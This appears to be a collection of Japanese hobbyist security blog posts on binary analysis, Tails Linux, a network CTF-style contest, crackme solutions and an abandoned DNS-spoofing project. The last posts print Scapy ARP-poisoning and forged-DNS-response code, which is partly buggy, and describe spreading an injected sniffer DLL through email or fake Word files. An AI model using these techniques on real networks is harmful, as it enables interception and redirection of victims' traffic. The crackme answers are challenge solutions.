Hello World入門したかった
# はじめに
タイトル通り、「Hello World」入門をしたかったお話です。
某UNIX環境でHello Worldを解析していく本のパクリかよと思われたかもしれませんが、今回の場合はWindows環境で行いました。決してパクリではありません。
更に、今回の検証ではただ単にHello Worldを出力するプログラムを解析するだけでなくCでコンパイルした一般的なバイナリと、Rustでコンパイルしたバイナリ
そしてPy2exeでexe化したバイナリを比較していくことにしました。というよりもこの三つのバイナリを解析したいという思いつきからはじめた検証です。
というのも、同じ処理を行うバイナリならば、コンパイルを行うことで同じバイナリを生成するのではないか、もし異なるモノであるならどこに差があるのかを調べてみたいと思ったため、
Revのリハビリも兼ねて調べてみることにしました。
とあるLTで発表したスライドも参考にして頂ければ良いかなと思います。
Hello world(kari)
環境について
今回の検証では、MBP上にVBoxでWindows7環境を構築して行いました。
ツールに関しては静的解析には「Stirling」,PE Header解析にはvxPEViewer, 動的解析にはOllydbgと少しだけIDA freeを使用しました。
検証メモ
以下のメモが検証を行ったまとめになります。
Hello World Memo
C,rust,pythonにてバイナリを生成時に最適化オプション無効
- cl -Od hello.c(C)
- rustc -C opt-level=3 -C debug_assertions=no hello.rs(Rust)
- optimize : 1(python)
Stirling
* Cを基準にそれぞれのバイナリを比較・素材を収集 *
C-Python
- C-pythonでは、ヘッダーとヘッダー・ボディ間のnullバイト列の空白以外はほぼ異なるバイナリ
- バイナリ列中にIsDebuggerPresentやGetLastError等の一般的な関数が列挙されている
-> Cバイナリにも同じような関数名を列挙した箇所がある - pythonバイナリのヘッダー付近に「python27」等の文字列が現れる
-> python側でエラー処理を行っている?(error 等の文字列が多く現れているため) -> 相似していないのではなく、python側の処理分ズレている可能性あり(サイズが大幅に肥大化しているのもその影響かも) - 一部タグらしき形式の文字列あり
- 最終部辺りで「pyo」等のpython関連と思しき文字列あり
- そもそも最適化が適応されていない?
C-Rust
- Python同様ヘッダー以外は異なったバイナリ
-> 若干python以上に異なる部分が多い - stringsを用いると.idataなどの文字列が多く出力される
- GCCなども多くみられる
- 前半部はほぼ解読不可なもので、おそらく後半部に重要な処理がある? -> 後半部はrust文らしきものが多くある
- rust特有の命令(Cではない命令)が含まれている.
- error処理が大半
- Python同様、わかる形で「Hello World!」は格納されていない
Rust-Python
- これまでと同じく特に似通った個所は無し
まとめ
どのバイナリもヘッダー以外は独自の構造をしているため似通った個所は見当たらない。そもそもバイナリのサイズがそれぞれ違うため相似しているとは思えない。...が、強いて最も似通ったバイナリ構造をしているものを挙げるならばC-Python
vxPEView, stud_PE
* Cを基準にそれぞれのバイナリの構造を比較 *
* 同時に関連性のありそうなファイルも解析を行う *
C-Python
- 些細な違いはあるものの、タイムスタンプ等の違いの出ておかしくない部分が大半
- Pythonと読み込んでいるライブラリに違いがあり、MSVCR90.dllを読み込んでいる -> MSVCR90.dllはアプリケーションを動作させるためのライブラリ(コンパイラの違いが原因?)
- .relocセクションがなく.rsrcが存在している
-> .relocは再配置情報、rsrcはリソース情報 -> これかの違いからヘッダー以下の構造が変わっている? - 同じくkernel32.dllを読み込んでいるものの、利用している関数に違いがある
- msvcr90.dllには_snprintfやexit関数が読み込まれている
-> Cではコンパイル時に基本的な関数は組み込まれているから? - 実行時にpython27.dllを必要とするにも関わらず実際には読み込まれていない
- .textセクション中のSizeofRawdataの数値に違いがある
-> その分アセンブリのコード量が多い
-> 変換処理が含まれている?
C-Rust
- 明らかに読み込んでいるdllの量がCに比べて多い -> python27.dllと似ている?
- おそらく呼び出されることはないであろうwinsock2を扱うws2_32.dllの含まれていることから予め大方のライブラリを読み込んでいる?
- セクション数が以上に多い ->
- SizeOfRawdataが以上に大きい
* これより下は関連性のありそうなファイルの解析結果 *
-------------------------------------------------------------------
select.pyd
- 「.pyd」pythonスクリプトをWindows用にコンパイルしたファイルの拡張子
- Ollydbgで読み込みが行えることからおそらくdllと同じ
- vxPEViewを用いると、複数のdllを読み込んでいる模様
-> その一つに「pyhton27.dll」を読み込んでいることから、何らかの関連性がある?
-> 「kernel32.dll」はほとんどのバイナリで読み込まれるため省略
-> 「ws2_32.dll」はwinsock2を扱うためのライブラリ
-> 「select」という名称から、socket関連のdllかも?
-> python27.dllは主に初期化やエラー処理を行う内容? -> socket関連なら初期化・エラーは必要な処理 - その他の要素は普通のdllと差はない
unicodedata.pyd, bz2.pyd
- select.dllと同様、python27.dllは読み込まれているが、ws2_32.dllが読み込まれていない点から、上記の仮説は正しいと思われる。
- 同じくpython27.dllが読まれててエラー処理が含まれているが、「format」や「string」などの文字列操作系の処理と思われる関数が含まれている
-> 内部でCやシステムコールラッパ等に変換している?
-> PyXX_xxxxxx : XX部が処理の内容(ErrやOS等), xx部がその具体的な処理名
-> snprintfなどのCで用いられる関数も含まれていることから上記の仮説no 辻褄があう
_hashkub.pyd
- ほとんど上記のpydファイルと差はないが、一部違うdllを読み込んでいる
pyd まとめ
おそらくpythonスクリプトを変換するためのdllであると考えられる。
本来コンパイラがCソースコードを構文解析しているものを、pythonスクリプトを議事Cソースコードへ変換してコンパイラに渡す、もしくはpythonスクリプトを直接アセンブリに変換していると思われる。そのためにpython27.dllではC言語もしくはアセンブリへの変換処理が含まれていると思われる。
Python27.dll
- kernel32.dll, user32.dll, msvcr90.dllなどの一般的によく利用されるdllの他にshell.dllというdllが含まれている。
- shell32.dll/shellexecute : 外部アプリケーションを操作する関数
-> 何らかの実行ファイルを実行・終了するために利用する? - pythonスクリプトをexeファイルに変換時にスクリプトで利用される関数を抽出して新たな小型のdllを生成している?
-> pydがそれに該当する?
-> もしくは各pydから読み込まれて利用される-------------------------------------------------------------------
Ollydbg,IDA Free
* ここでは各実行ファイルのみ解析を行い、dllの解析は行わないこととする *
* なお、解析に関しては一度Cの実行ファイルを解析した後に比較を行う *
C
- 「call 0095154B」を最初に実行しているが、メインルーチンでないため、おそらく初期化などの処理を行なっている?
- 引数として「Hello World」と1(stdout)を渡してcallしている処理があるものの、実際のメインルーチンではない模様
- ImageBase範囲外で主な処理を行なっている?
- メインルーチンと思われる00400000番台のアドレスを経由せず、様々なアドレスへジャンプしながら最終的にwriteconsoleA関数を呼び出すことで画面出力を行なっている
- アドレス値がImageBaseと異なるのは環境の問題? -> その影響からか、直接printf関数を呼び出さずにwriteconsoleAを呼び出している?
- WriteFile => WriteCosoleという流れから、UNIX系統で用いられるglibのwrite() => writeシステムコールラッパの構造に似ている?
- コンソール上に文字列(Hello World!)を表示させる最終的な関数はWriteConsoleAであり、表面上ではWriteFile関数を呼び出すことで表示させている
-> WriteFileがWriteConsoleのラッパの役割を果たしている?
C-Python
- 開始時点ではCファイルのようにWriteConsole関数もWriteFile関数もない -> 実行していくとWriteConsoleA関数を呼び出す処理がある
- _writeという名前で呼び出される
-> glibでも存在するwriteシステムコールラッパと同等? - Cファイルとは違い、ImageBase範囲内でコードが実行されている -> Cファイルで最適化無効が効いてない?
- PyEval_EvalcodeEx => PyFrame_New => etc...を経由する処理から、表面上はPython27.dll内で処理が行われている?
-> 内部で様々なpyと付く関数の定義が成されている
-> そもそもvxpeViewerで読み込まれていなかったはずが、実際にはアクセスしている点から、python27.dllはあらゆる関数をpythonスクリプトから変換する役割を持つという仮説の信ぴょう性が高くなった - printf関数をkernel32.dllからimportしている
-> 変換の際に利用されている? - python27.dllで定義されている関数は内部で既存の関数を呼び出している点から標準関数のラッパである可能性が濃厚 -> ループ処理を繰り返すことで変換を行なっている? -> python27.dllを書き換えることで任意の処理に改ざんできる?
- WriteFileを呼び出して内部でWriteConsoleAを呼び出すルーチンはCと同じ
-> PyFile_WriteObjectが一番外側 && ラッパの関数
C-Rust
- CともPythonとも異なる初期コードを持っている
-> call => jmpという流れは同一 - C,Pythonと違い、エントリーポイントが正常な位置に存在している? -> いくつかアドレスを経由しているが、これまでのファイルよりも本来の処理に近い形をしている
- Stirlingでは発見できなかったが、セクション内に「Hello World!」が存在している?
- WriteConsoleWを使用している -> 最適化の問題?
- Cと異なり、WriteFIleを経由せずに直接(一応Rustではラッパを作成しているかも)WriteConcsole関数を呼び出している
-> 自前で関数ラッパを作成している
-> vxPEViewerでの仮説が正しい可能性が濃厚
-> ファイルサイズのわりに実行する処理がさほど多くないのも其のため?
まとめ
僕の検証が必ずしも正しいというわけではなく、あくまでこうなっているのかなという想像のお話なのでもしツッコミや鉞を投げてくださる人がいれば教えていただければと思います。
検証の感想としては、同じ処理を行うとしてもやはりその再現方法は様々でありそこでパッカーや難読かなどの手法にも応用できるものがありそうだと感じました。
また、Rustやpy2exeを用いる場合とCでコンパイルした場合とではファイルのサイズに大幅な差が生じていることからCがベアメタル環境で用いられているのもそのためなのかなと思ったり、初歩的なプログラムながら学ぶことが多く色々な想像ができる検証でした。
LInuxでもDLL Injectionがしたい
はじめに
相当前の記事で書いたWindows環境でDLL Injectionを用いたマルウェアを利用したDNS詐称の続きとして、
環境をWindowsではなくLinux環境で行うことができればLinuxの搭載されたサーバはもちろんルータも対象にできるのではと思いつき
Linux上でDLL Injectionを行うための手法を調べた際のまとめです。
LinuxでのDLL Injection
当然ではありますが、LInuxとWindowsではOSが違うためDLLというものは(基本的には)存在しません。
そこで以前ユーザランドでの関数の書き換えを行うことができるという記事を読んだのを思い出し
Shared Objectを任意のプロセスへ注入できれば実現できるのではと考えて調べてみると
このような記事を発見したのでコードリーディングを行なってみることにしました。
ざっと中身を眺めてみた結果としてわかったことは、一部インライナーアセンブラで実装しなければいけない部分があり
複雑な部分が若干あるもののコード量的には読むだけなら一時間あれば読める程度の内容でした。
まだ詳しくは解読出来ていないので近いうちに読んだ結果から自分なりのツールを実装してみたいと思います。
Tails Linuxを常用OSにしたかった話
はじめに
タイトル通り、Tails Linuxを常用したかった時に知った知見や僕の見解のメモ。
まずそもそもなぜTails Linuxを使いたいと思ったかというと、天から「ハードディスクもSSDも抜いてUSB(3.0)ブートでTails使え」というお言葉を頂いたことがきっかけです。
そんな感じで使ってみようと思い小一時間使ってみての感想等のメモです。
Tails Linux とは
まずそもそもTails Linuxとは何かですが、簡単に言ってしまえば匿名で利用できる秘匿性の高いOSのことです。
torやMAC Spoofingに始まり、純正アプリケーションは匿名性の高いものが採用されており、たとえ内臓ストレージが存在していても一切のアクセスを禁止されるといった徹底ぶりです。
当然homeディレクトリに作成したファイル等もシャットダウン時に削除されてしまいます。(一応保存する方法はあります)
Tails Linuxのインストール方法について
- 準備したもの
- Kingstonの16GB USB x2
- Tails LinuxのISO(https://tails.boum.org/install/os/index.en.html)
- レッツノート(ISOインストール等)
- Thinkpad X220(インストールマシン)
今回は必要なツール等のインストールやインストールディスク作成にレッツノート、インストール用マシンにThinkpad X220を選択しました。
理由は机に落ちてたからです。
Tailsではインストール用ディスクとインストール先のディスクの二つのUSBが必要となるので注意が必要でした。
インストールに関してですが、ISOがあるサイトが一番わかりやすいのでそちらを参考にしてください。
実際に触ってみての感想
USBからブートするliveOSという事もあり、複数機を気分で使い分けてるような人には同じ環境で開発等が行えるため非常に使い勝手が良い…と思って居たのですが、どうやら標準以外のパッケージからインストールしたものも消去されてしまうらしく同じソースコードは合っても環境までは同一には出来そうにありませんでした。(もしかしたらできるかも…)
ただ、torを経由していてもパッケージ管理ができる点や、特に設定もなくいきなりtorを通してブラウジングできる点は非常によく、保存しておきたいファイルは暗号化されているので例えガサ入れでお巡りさんのご厄介になる時もある程度は足止め出来そうなのでメリットもかなり多くありました。
それでもやはり、僕には馬が合わず常用OSにはならないなという結論に至りこの案は無しとなりました。
やっぱりUbuntuが良い
〆
僕はTails Linuxを使いこなせませんでしたが、有名なハッカー・クラッカー・スパイの方々も使っているということと、ブートメニューを開ける権限を与えられていれば端末上に情報を残さずに使用できる点など非常に素晴らしいOSである事は確かなので是非興味を持った方は試していただきたいと思います。
ISTSC8 Writeup
初めに
8/26、27の2日間開催されていたISTSC8にチームIPFactoryとして参加してきました。あまりサーバについての(というかLinuxに関する)知識がないので基本的にネットワーク問題オンリーで参加することになりました。その際に担当した問題のwriteup兼戒めとなります。
伝統の国 第一のトラブル
基準点: 120 / 満点: 200
問題
旅の途中、酒場に訪れた。
ドワーフ「お客さん、見ない顔だね。どこから来たんだい?」
エイト「私は始まりの国のはずれよ。この人たちは私が異世界から呼んできたの」 ドワーフ「ほーう。ここに壊れたスイッチがあって修理する当てを探しているんだが……。まぁおまえらじゃあ解決できないだろうな、ほら帰ってくれ」
そう言い残すとドワーフは、店の奥に消えていった。
エイト「キー! 悔しい。あんたたち絶対直してみせなさい!! 解決して見返してやりましょう」
注意事項
2960B を再起動してはいけない。 達成すべき事項
7 番ポートをリンクアップをさせ、原因を特定する パスワードを broken_port? に変更する
このような形で問題が出題されました。どうやら7番ポートがダウンしているようなのでshow interface FastEthernet 0/7をすると、「err disabled」となっているので、ハードではなくソフト的にダウンさせられたんだろうなと予想がつきます。
ちょうど前日にport-securityの設定をすると強制shutdownされるという知見を得ていたのでそれだろうと考えているとどうやらそもそも設定されていない模様。
そこで(というか初めからやるべきでしたが)show logでエラーログを探ると、
*Mar 2 03:46:29.100: %STORM_CONTROL-3-SHUTDOWN: A packet storm was detected on Fa0/7. The interface has been disabled.
というログがったので調べてみると「storm-control」という機能によるものであるとわかりました。
よって、何らかの要因でパケットが大量に送られてきたことによるトラフィックの上昇をstorm-control機能が検知して7番ポートを落としてしまったと推測できます。
復旧方法は単にポートの再起動で可能でした。また、パスワードに「?」を含めるようにする方法ですが、Ctrl + Vでできるようです。
伝統の国 第二のトラブル
問題文
スイッチの問題を解決した後、ドワーフに話しかけられた。
ドワーフ「いや~まさか本当にトラブルを解決するとはビックリしたぜ。ついでにもう一つ頼まれてくれないか?」
ドワーフ「実は魔法陣の構成を 892j から 1941 に変更して、同じ呪文を書き込んだんだがNAT-PTが動作しないんだ。頼む……この>通りだ」
エイト「コンフィグを使いまわしたってこと? そんなことするから動かないのよ。悪いけど、あんたたちやってあげてくれない?」
アクセスできる機材
cisco 1941
892J時の動作
- Pv4アドレスにIPv6ネットワークからpingをする際には宛先に2017::(IPv4アドレス)を宛先にするとできていた
- 例として192.168.140.2にpingをする際は2017::192.168.140.2が宛先となる
達成条件
この問題はcisoc 892Jを使っていた時のコンフィグをcisco 1941でそのまま流用したけどなぜか動かないからどうにかしてくれ、という問題です。
普通に考えればファームアップしている機器ならそのまま流用するようなことはしないのかもしれないのですがね。。。
というわけでなぜこれが動かないのかをコンフィグから割り出すと、どうやらIPv6でNAT-PTを行っているようなのですが「ipv6 cef」という設定を無効化しないといけないようでしたので、「no ipv6 cef」というコマンドを実行することで動作するようになりました。
CEFとは、cisco社のExpress Forwarding技術の略称のことで、パケットの転送処理をHWで行うことで高速化を図る技術なのですが、これが曲者でNAT-PTを利用する場合はこれを無効にする必要があるようです。
伝統の国 第三のトラブル
問題
NAT-PTの問題を解決した後、再びドワーフが話しかけてきた。
ドワーフ「2つもトラブルを解決してくれるとは驚いた。俺とあんたたちはもう家族も同然だよな? だから最後にあと1つだけいい>か?」
エイト「え~まだあるの?」
ドワーフ「実は新しく喫茶店の支店作っていてなぁ~。そことIPsecで魔法陣をつなぎたいんだが、うまくつながらないんだ。なん>とかしてくれよ~俺たち家族だろう?」
エイト「もう~調子がいいんだから。何度もごめんね。これだけ手伝ってあげてくれない?」
アクセスできる機材
- 1841-B
- 1941
注意事項
- 892J内のNAPTルータのconfigの変更は一切行ってはいけない
達成すべき事項
- IKE Phase1成功を確認する。
- IKE Phase2成功を確認する。
- IPsecによる通信で1941のLoopBack0から1841-BのLoopBack0への疎通を確認する。
この問題は競技中に回答できなかった問題なのですが、ただ単にIPSecでVPNを張るだけ…のはずがうまくいきませんでした。
しかもこの問題を解答できたのが1チームだけのようでその難易度がうかがえます。ネットワーク担当としてとても心残りになる問題でした。
〆
今回で参加は2回目になりますが、前回と違い少しはチームに貢献できたかなという感想でした。しかし、やはりまだ戦力にはならない上にサーバ問題になると途端に手足が出せなくなるのでやはりまだまだなんだなと実感しました。
出来れば
来年以降はNOCとして参加してみたいものですね。
Windows上でのDNS詐称プログラムに関する考察とそのメモ
はじめに
この記事にまとめる内容は8割想像の話であり、まだ実装途中のモノなので実際の環境で可能な技術であると保証するものではありません。また、私自身まだ知識も浅いので至らぬ点も多く存在します。
目次
- 概要
- DNSについて
- 実装方法
- 今後について
概要
まず初めに、DNSを詐称するためのプロセスについてです。
私は以前の記事でARPポイズニングと組み合わせた攻撃方法について記述しましたが、この手法ではそもそも改ざんしたIPアドレスへ対象がアクセスする事すらできませんでした。
では、ゲートウェイを書き換えるのではなくプロミスキャスモードでスニフィングするツールを作成してDNSリクエストを観測することで前回の問題点を解決できるのではと考えました。
その方法が、「DLLインジェクションを用いた任意のプロセスのスニファー化」です。
この方法を用いることで、ゲートウェイを偽装せずにパケットを盗聴でき、かつ、既存のプロセスをスニフィング機能を追加するので比較的バレいにくいという利点もあります。
DNSについて
DNSパケットには、512byteを超えるリクエストを行うと本来UDPで行われる通信がTCPで行われるという仕様がありますが、
今回はUDPのみでの通信に関する内容のみを取り扱います。
そもそも、DNSリクエストは以下のような構成になっています。
ID -> 名前解決の通信を行う際に設定するID
**QR, Opecode, AA, TC, RD, RA, Z, AD, CD, RCODE -> 各種フラグを設定する。 その中でも、Zフラグは常に0を指定する。
QDCOUNT, ANCOUNT, NSCOUNT, ARCOUNT -> 以下で説明する各sectionの数(一塊のパケットの中に含まれる各section数)を設定
Quesstions -> DNSリクエストを行う際に設定するsection。通常は一回につき一つのAnswer Sectionが含まれている。
Answer Section -> DNSレスポンスを送信する際に設定するsection。ここに名前解決を行った際の結果が入る。今回のメイン。
Authority Section -> 権威サーバなどの情報が格納されるsection。パケット内に複数存在することがある。
Additional Section -> 追加情報などを格納するsection。
以上がDNSパケットの大まかな説明とフォーマットとなります。その中で特にAnswer Sectionは重要な部分であり、
以下が詳しいフォーマットとなります。
内容は図の通りですが、今回最も重要な部分がRDATAの部分であり、ここに名前解決を行った結果、つまりIPアドレスが入ります。
実装方法
具体的には、上記解説したRDATA部分に任意のIPアドレスを指定したパケットを対象PCへ連続で投げ続けるというイメージであり、前回のプログラムと根本では相違ありませんが、今回は一からフォーマットを定義した構造体に値を設定していくようにしました。したがって、今回の実装ではC言語にて行う予定です。
通信を行う部分にはWinsock2を利用し、プロミスキャスモードにてネットワーク内のパケットを監視します。
そして、DNSリクエストを検知した場合は以下のように定義した構造体に、DNSリクエストのQuesstion Sectionの内容をコピーして対象PCへ送信するといった内容です。
以下はDNSヘッダーのフォーマットに従って定義した構造体です。
typedef struct QuerySection { LPSTR qsname; short qstype; short qsclass; } QuerySection; typedef struct AnswerSection { LPSTR ansname; short anstype; short ansclass; int ansttl; short anslen; LPSTR ansrdata; } AnswerSection; typedef struct AuthoritySection { LPSTR asname; short astype; short asclass; int asttl; short aslen; LPSTR asrdata; } AuthoritySection; typedef struct AddSection { LPSTR adsname; short adstype; short adsclass; int adsttl; short adslen; LPSTR adsrdata; } AddSection; typedef struct FakeDNSHeader { int id; char qr; short opcode; char aa; char tc; char rd; char ra; struct z { unsigned int flags : 1; }z; char rcode; short qdcount; short ancount; short nscount; short arcount; struct QuerySection; struct AnswerSection; struct AuthoritySection; struct AddSection; } FakeDNSHeader;
肝心のスニフィングとDNS詐称を行うパケット送信プログラムはDLLとして開発し、何らかの方法(メールへ添付したりwordファイルに偽装して実行させるなど)を用いて対象へ感染させ、任意のプロセスへインジェクションすることで行います。
よって、DLLをインジェクトするプログラムも作成する必要がありますがそちらの説明は今回は省かせていただきます。
これらの事柄を踏まえて実装することで対象ネットワークの構成や疎通の妨害を行うことなく、対象のAレコードを改ざんできると思われます。以下はわかりづらいですが全体構造です。
今後について
まだ実装途中であり、まだDNSヘッダについても理解しきれていない部分も多くあるので近いうちに完成を目指したいと考えています。また、このテーマに関する研究もそろそろ一年になってしまうのでなるべく速く形にし、更に上の研究も行いたいと考えています。(Crackmeの記事も書かないといけないので)
またこの内容も更新せずに終わりそうな気もしますがなるべく終わらせられるようにしたいです…ほんと
Crackme Writeup
はじめに
Crackmeという名前の問題というのはやたらといろいろありますが、今回僕が挑戦したのは「Crackme doomo」という問題。
Crackme doomo : http://doomo.main.jp/crack/
現在はDLできなくなっているようです。
全部で20問くらいあるらしいですが、その中でようやく10問目まで終わったのでその備忘録。
一応これから始める方のために一部を除いて最終的な答えは見えにくくしてあります。
また、今回解析に用いたツールはは主にOllydbgですが、たまにx32dbg使ったりPEiDとか使ったりしました。
あと一応パッキングも施されていたのでupxでアンパックを行いました。
問題を配布しているサイトのほうにちゃんとした解答があるので間違いだったり説明が足りない場合はそちらを参考にしてください。
0x1
まず、Ollyの場合はCtrl+Nでこのプログラムで使われている関数を列挙し、その中からMessageBox関数を見つけだして
ブレイクポイント(以下BP)を仕掛けると、以下のような処理があることがわかります。
この処理は、おそらくlstrcmp関数がわかる人なら察しが付くと思いますが、まずGetWindowText関数をcallして
入力された文字列を取得し、比較用文字列と入力文字列をpushしてlstrcmp関数で比較し、その結果に応じてメッセージボックスを
表示しているようです。なので、この問題の答えは「doomo」となります。
おそらくPE解析入門者向けの問題だったのかなと思うくらいそのままの問題でした。
0x2
この問題でも0x1と同じように、まずはMessageBox関数にBreakPointを仕掛けると、以下のようになっています。
ちなみに、本家(?)様のWriteupにはGetWindowTest関数にBPを設定していますが、この関数が呼ばれている
プログラムしかないということはないので、MessageBox関数に仕掛ける方が確実に目的の関数に近づけると思ったからです。
話を戻しまして、どうやら前回のようにそのまま答えがあるわけではないようです。
GetWindowText関数直下にEAXレジスタと「8」をcmpしている処理がありますが、
EAXレジスタにはGetWindowText関数で 取得した文字列の文字数が格納されているため、
8文字である必要があるようです。
004011FF番地のcall命令が怪しいのでステップインで潜ってみると、
次のような処理が行われていました。
0040123A番地でmov命令によりESIレジスタにコピーされているのは今回ダミーとして入力した文字列(abcdefgh)です。
そしてESI、つまりは入力した文字列のなかから一文字ずつ取り出し、数値と比較しているのが見て取れます。
ここが文字列比較の処理であり、オンラインのASCII変換器に投げると、
5EH9V3QW という文字列が現れます。つまり、これが答えとなります。
0x2a
この問題は今までとは違い、BPを仕掛けたことを検知する機能があるため、
ただセットしただけでは
このように、BPがセットされていることを警告するメッセージを表示して強制終了してしまいます。
そこで、文字列を実際に比較するルーチンのある部分へBPを仕掛けました。
ここなら検知されないようです。そして、文字列を一文字ずつDLというレジスタ(正確にはEDXレジスタの下位部分)と比較しているようですので、実際にFLAGを操作しながら
中身を調べていけば答えとなる文字列がわかります。
また、DLに格納される値は疑似乱数を使っているらしく内部処理を追ってみると、Data Segmentに値を保持してxorなどの命令を用いて数値を算出したものをASCIIに変換して使っているようです。(あくまで個人的な見解なので合っている確証はありません)
0x3
この問題は、0x2aと違ってデバッグ検知ルーチンは存在しませんがGetWindowText関数は利用されていないようです。
そこでまずは比較ルーチンがMessageBox関数の上に存在しているという仮定でBPを仕掛けると、以下のようになっていることがわかります。
仮定通りMessageBox関数の真上に比較ルーチンらしきループ処理とその文字列、GetDlgItemTextという関数があることがわかります。
このGetDlgItemTextという関数が今までのGetWindowText関数の代わりをしているようです。
そして、その下の文字列を利用してルーチンを回すことで比較を行っていました。
比較ルーチンはいたって単純で「(0から始めて)カウンタが奇数回の時に比較文字列に+1したものを比較に用いる」という処理を行っていました。
ということで、コード内のvP12NGgoQaを先ほどのルーチンに当てはめてあげるとvQ13NHgpQbとなります。
この続きは随時更新していきます
DNS詐称プログラムを作って失敗した話
はじめに
去年の9月ごろに思い付きで始めて放置してたネタをつい先日(一週間以上前)のLTで
発表するために少し改善しようかなと思った時に失敗した・できなかったことのまとめです。まだ未完成なので限られた環境内でハカー気分を味わいたい方には良いかなという感じです。
全体の構成
まず、どういったものなのかの部分ですが、大雑把に言うとDNSのレコード(ここではAレコードを指します)を改ざんして任意のサイトに誘導しよう、というものです。DNSを利用した攻撃手法にDNSキャッシュポイズニングがありますが、攻撃が成功した時に与えられる被害は大きいものの、キャッシュサーバのキャッシュ汚染が面倒なのと僕がまだいまいち理解しきれていない部分が多いのでパスしました。
DNSのレコードを改ざんする前段階として、ARPスプーフィングを行うことで攻撃対象のゲートウェイ(以下GW)情報を改ざんし、すべてのトラフィックを攻撃用マシンへ送信されるようにします。
全トラフィックを取得できるということは、当然DNSリクエストも含まれているはずなので正規のレスポンスが返る前に加工したDNSレスポンスを返すことができればDNSレコードも改ざんできるはず、という感じです。
今回作成したプログラムは以下に投げてあります。
ARPスプーフィング
まず初めに、ARPスプ―フィングを行うためのプログラムについてです。
具体的には、GWのIPアドレスと攻撃用マシンのMACアドレスを含めた
ARPレスポンスを攻撃対象へひたすら投げ続けるという処理のみを行います。
正常なARPテーブル
スプーフィングを行ったARPテーブル
以下はスプーフィングを行うための処理部分です
def poison_target(gateway_ip, gateway_mac, target_ip, target_mac, stop_event): poison_target = ARP() poison_target.op = 2 poison_target.psrc = gateway_ip poison_target.pdst = target_ip poison_target.whset = target_mac poison_gateway = ARP() poison_gateway.op = 2 poison_gateway.psrc = target_ip poison_gateway.pdst = gateway_ip poison_gateway.hwset = gateway_mac print "[*] Beginnnig the ARP poison. [CTRL-C to stop]" while True: send(poison_target) send(poison_gateway) if stop_event.wait(2): break print "[*] ARP poison attack finished." return
また、後処理として正規のARPレスポンスを送信することで正常なARPテーブルへ戻すようにしています。
def restore_target(geteway_ip, gateway_mac, target_ip, target_mac): print "[*] Restoring target..." send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac), count=5) send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff:ff:ff", hwsrc=target_mac), count=5)
DNSポイズニング
この処理をDNSポイズニングと呼ぶにふさわしいかはさておき、この場ではDNSポイズニングと呼ぶことにします。 上記のARPスプーフィングを行ってトラフィックを攻撃用マシンへ流れるようにしたので、Scapyを利用してパケットを解析して その中からDNSリクエストのみを検知し、DNSレスポンスを送信してやります。なお、DNSリクエストは特にいじらずにそのままドロップします。 DNSリクエストの検知処理ですが、DNSリクエストは基本的にUDPの53番ポート宛に送信されるので、その条件に一致したパケットをDNSリクエストであると判断して行っています。 また、DNSレスポンスでは名前解決を行った結果に偽装して任意のIPアドレスを含めたものを生成して送信しています。
以下はその処理を行う処理部分です。
def dns(pkt, qname='google.com'): print "DNS" ip = IP() udp = UDP() ip.src = pkt[IP].dst ip.dst = pkt[IP].src udp.sport = pkt[UDP].dport udp.dport = pkt[UDP].sport solve = '192.168.0.44' qd = pkt[UDP].payload dns = DNS(id = qd.id, qr=1, qdcount=1, ancount=1, nscount=1, rnode=0) dns.qd = qd[DNSQR] dns.an = DNSRR(rrname=qname, ttl=3600, rdlen=4, rdata=solve) dns.an = DNSRR(rrname=qname, ttl=3600, rdlen=4, rdata=solve) dns.ar = DNSRR(rrname-solve, ttl=3600, rdlen=4, rdata=solvr) print "%s => %S" % (ip.dst, udp.dport) send(ip/udp/dns)
qname という部分は名前解決を行うドメイン名で、solve部分がそのドメイン名と結び付けたいIPアドレスを表しています。 その他はDNSレスポンスのひな型通りに生成する処理とsendで送信しています。
余談ですが、送信者がpingを行う際にリクエストを送信した時に問い合わせと別のドメイン名をqnameに含めてレスポンスを送信すると、 受信者側のpingを送信している対象名が変わってしまうようです。
正常なAレコード
ポイズニングを行ったAレコード
改善点と失敗したこと
このプログラムはGithubを見てもわかる通り、別々のツールとして稼働させなければいけないことと、攻撃用マシンにルーティング機能がないという問題があり、まずこの問題を解決する必要がありました。ということで、この問題を解決するためにルータを実装することにしました…が、うまくいかず、結局実装することはできませんでした。 なので、次はOpenFlowでルータ自体を改良してDNSポイズニングを行うと思ったのですが、どうやらうまくOpenFlowスイッチとして機能させることができないようなので完全に積んだところであきらめました。
ということで、今回の実験はここまでにしようと思います。もし問題を解決出来たらまた書こうかなと思いますが、たぶんやらないかな… もし解決出来たら是非教えていただきたいです。